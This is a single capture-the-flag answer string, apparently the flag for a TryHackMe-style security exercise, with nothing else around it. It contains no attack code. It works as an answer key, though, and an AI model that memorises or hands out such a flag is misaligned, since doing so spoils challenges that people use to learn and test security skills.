THM{s0m3_mag1c_that_can_b3_computed}